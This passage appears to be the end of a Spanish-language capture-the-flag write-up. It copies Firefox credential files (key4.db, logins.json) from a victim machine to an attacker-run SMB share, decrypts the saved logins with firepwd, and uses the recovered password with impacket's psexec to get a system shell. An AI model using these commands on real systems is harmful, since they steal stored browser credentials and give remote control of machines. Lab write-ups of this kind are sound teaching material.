C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\prefs.js
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\protections.sqlite
...
Entre todos los archivos me llaman la atención los de los Profiles de firefox, ya que pueden contener credenciales guardadas en el navegador.
Para extraer las credenciales usaremos: https://github.com/lclevy/firepwd.
En el README de la herramienta, explican que para usar este script hay que tener el archivo key4.db o key3.db y logins.json o signons.sqlite
key4.db (or key3.db), logins.json (or signons.sqlite).
Para pasarnos los archivos de la máquina víctima hacia nuestra máquina, abrimos un servidor samba
impacket-smbserver smb $(pwd)
C:\Users\natbat>copy C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\key4.db \\10.9.3.29\smb\
1 file(s) copied.
C:\Users\natbat>copy C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\logins.json \\10.9.3.29\smb\
1 file(s) copied.
Ejecutamos el script de firepwd
$ python3 firepwd.py
....
....
....
https://creds.com:b'mayor',b'PASS
Podemos probar de usar estas credenciales con psexec
python3 /usr/share/doc/python3-impacket/examples/psexec.py gatekeeper/mayor:PASS@10.10.165.175 cmd.exe
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.165.175.....
[*] Found writable share ADMIN$
[*] Uploading file BrrdIOeQ.exe
[*] Opening SVCManager on 10.10.165.175.....
[*] Creating service kZEY on 10.10.165.175.....
[*] Starting service kZEY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Estamos dentro!!!!
Máquina completada :)